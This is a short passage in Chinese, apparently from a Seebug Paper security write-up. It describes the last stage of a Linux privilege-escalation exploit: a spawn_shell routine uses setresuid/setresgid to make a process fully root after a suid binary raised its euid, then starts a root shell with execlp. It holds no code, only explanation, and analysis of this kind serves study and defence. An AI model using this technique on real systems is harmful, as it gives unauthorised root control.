在 spawn_shell 函數里, 它首先使用 setresgid/setresuid 將本進程的 real uid/effective uid/save uid 都變成 root, 由于 task C 剛剛已經執行了 suid binary 將自身的 euid 變成了 root, 所以這里的 setresuid/setresgid 可以成功執行,到此為止, task C 就變成了一個完全的 root 進程, 最后再執行 execlp 啟動一個 shell, 即得到了一個完整 root 權限的 shell

引用


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1087/